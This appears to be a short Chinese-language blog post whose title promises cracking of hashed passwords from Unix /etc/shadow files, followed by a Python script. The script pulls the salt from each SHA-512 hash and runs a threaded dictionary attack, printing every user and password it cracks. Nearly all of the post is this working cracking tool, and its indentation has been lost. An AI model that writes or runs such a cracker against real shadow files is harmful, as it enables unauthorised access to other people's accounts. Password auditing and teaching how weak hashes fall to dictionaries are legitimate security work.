利用Python 破解类unix系统 /etc/shadow 文件hashed password

#!/usr/bin/env python
# coding=utf-8

#By LiT0

import crypt
import sys
from concurrent.futures import ThreadPoolExecutor

def testpasswd(user,crypt_pass,word):
salt = crypt_pass.split('$')[2]
insalt = '${}${}$'.format('6',salt)
word = word.strip('\n')
crypt_word = crypt.crypt(word,insalt)
if crypt_pass == crypt_word:
print ("[*] Successful Cracked user : {} ".format(user))
print ("[+] Found Password: {}\n".format(word))
return

def readpasswd():
with open(sys.argv[1],'r') as passwd_file:
for line in passwd_file:
if ":" in line:
user = line.split(':')[0]
crypt_pass = line.split(':')[1].strip(' ')
if len(crypt_pass) > 16:
with ThreadPoolExecutor(2) as Executor:
with open(sys.argv[2],'r') as dict_file:
for word in dict_file:
Executor.submit(testpasswd,user,crypt_pass,word)

print ('[*] All Done!')

if __name__ == '__main__':
if len(sys.argv) < 3:
print ("Usage:\n\t请准备好阴影文件和爆破字典\n\t如: ./nix_passwd.py password.txt dict.txt ")
sys.exit(0)
print ('[*] Runing... ...')
readpasswd()